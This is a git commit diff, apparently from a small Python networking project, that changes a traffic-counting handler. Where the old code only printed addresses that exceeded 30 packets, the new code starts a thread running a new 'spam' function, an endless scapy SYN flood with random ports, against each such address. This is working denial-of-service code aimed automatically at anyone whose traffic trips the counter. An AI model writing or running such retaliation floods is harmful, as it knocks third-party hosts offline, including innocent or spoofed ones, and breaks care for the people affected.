Saataa andagii !
This commit is contained in:
parent
7177a763e5
commit
64b8f2fba1
1 changed files with 7 additions and 1 deletions
|
@ -12,6 +12,11 @@ http = socketserver.TCPServer(("", PORT), Handler)
|
||||||
|
|
||||||
addresses = {}
|
addresses = {}
|
||||||
|
|
||||||
|
def spam(ip):
|
||||||
|
while True:
|
||||||
|
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
|
||||||
|
send(packet, verbose = True)
|
||||||
|
|
||||||
def empty_addresses():
|
def empty_addresses():
|
||||||
while True:
|
while True:
|
||||||
sleep(1)
|
sleep(1)
|
||||||
|
@ -23,7 +28,8 @@ def handler(pkt):
|
||||||
if address in addresses.keys():
|
if address in addresses.keys():
|
||||||
count = addresses[address]
|
count = addresses[address]
|
||||||
if count > 30:
|
if count > 30:
|
||||||
print(address, count)
|
spammer = threading.Thread(target=spam, args=(address,))
|
||||||
|
spammer.start()
|
||||||
addresses[address] += 1
|
addresses[address] += 1
|
||||||
else:
|
else:
|
||||||
addresses[address] = 1
|
addresses[address] = 1
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue